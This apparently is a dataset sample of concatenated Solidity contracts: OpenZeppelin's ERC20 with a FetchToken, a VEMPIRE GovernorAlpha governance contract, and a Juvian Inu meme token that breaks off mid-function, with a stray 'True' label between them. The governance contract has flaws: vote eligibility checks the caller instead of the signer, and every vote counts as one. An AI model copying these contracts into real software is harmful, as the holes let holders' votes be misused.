* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20Pausable is ERC20, Pausable {
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract FetchToken is Context, AccessControl, ERC20Pausable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
constructor(string memory name,
string memory symbol,
uint256 _initialSupply) public ERC20(name, symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
_mint(_msgSender(), _initialSupply);
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "signer must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "signer must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "signer must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20Pausable) {
super._beforeTokenTransfer(from, to, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-09-23
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface xVempInterface {
function balanceOf(address account) external view returns (uint256);
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
//
contract GovernorAlpha {
// @notice The name of this contract
string public constant name = "VEMPIRE Governor Alpha";
uint minTokensForVote = 75000 * (10**18);
uint minTokensForProposal = 75000 * (10**18);
// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 30; }
// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
// @notice Min xVEMP for voting
function minxVempForVote() public view returns (uint) { return minTokensForVote; } // ~75000 xVemp Tokens
// @notice Min xVEMP for proposal
function minxVempForProposal() public view returns (uint) { return minTokensForProposal; } // ~75000 xVemp Tokens
// @notice The address of the VEMPIRE Protocol Timelock
TimelockInterface public timelock;
// @notice The address of the VEMPIRE governance token
xVempInterface public xVemp;
// @notice The address of the Governor Guardian
address public guardian;
// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
// @notice Unique id for looking up a proposal
uint id;
// @notice Creator of the proposal
address proposer;
// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
// @notice the ordered list of target addresses for calls to be made
address[] targets;
// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
// @notice The ordered list of function signatures to be called
string[] signatures;
// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
// @notice Current number of votes in favor of this proposal
uint forVotes;
// @notice Current number of votes in opposition to this proposal
uint againstVotes;
// @notice Flag marking whether the proposal has been canceled
bool canceled;
// @notice Flag marking whether the proposal has been executed
bool executed;
// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
// @notice Ballot receipt record for a voter
struct Receipt {
// @notice Whether or not a vote has been cast
bool hasVoted;
// @notice Whether or not the voter supports the proposal
bool support;
// @notice The number of votes the voter had, which were cast
uint96 votes;
}
// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address xVemp_, address guardian_) public {
require(guardian_ != address(0), "GovernorAlpha::guardian can not be 0 address");
timelock = TimelockInterface(timelock_);
xVemp = xVempInterface(xVemp_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(xVemp.balanceOf(msg.sender) > minxVempForProposal(), "GovernorAlpha::propose: must have proper xVEMP token to create proposal");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value:proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian, "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
require(xVemp.balanceOf(msg.sender) > minxVempForVote(), "GovernorAlpha::propose: must have proper xVEMP token to cast vote");
uint96 voterVote = 1;
if (support) {
proposal.forVotes = add256(proposal.forVotes, voterVote);
} else {
proposal.againstVotes = add256(proposal.againstVotes, voterVote);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = voterVote;
emit VoteCast(voter, proposalId, support, voterVote);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function setMinProposalValue(uint _minValue) public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
minTokensForProposal = _minValue;
}
function setMinVoteValue(uint _minValue) public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
minTokensForVote = _minValue;
}
function updateGuardian(address _guardian) public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = _guardian;
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
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/**
*Submitted for verification at Etherscan.io on 2021-11-22
*/
/*
Juvian Inu - JUVIAN
Missed the moon landing? Hop on to guide Inu through Jupiter.
https://twitter.com/JuvianInuETH
https://juvianinu.com
https://t.me/JuvianInu
:
:
:
:
. :
'. : .'
'. : .'
'. .-""""""-. .' .'':
'." ".' .-""""-.' .---. .----. .-"""-.
: : _ _ ." .' ". ..." "... ." ". ." ".
......... ......... o (_) (_) () : .' : '..:.......:..' : : : : o
: : : .' : '.....' '. .' '. .'
: : .'.'. .' `''''` `'''''`
'........' '' ``````
.' : '.
.' : '.
.' : '.
.' : '.
:
:
:
:
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract JUVIAN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Juvian Inu";
string private constant _symbol = "JUVIAN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x1Dd9129a8664499Ec920e2F641e0D754bDE913Fc);
_feeAddrWallet2 = payable(0x1Dd9129a8664499Ec920e2F641e0D754bDE913Fc);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
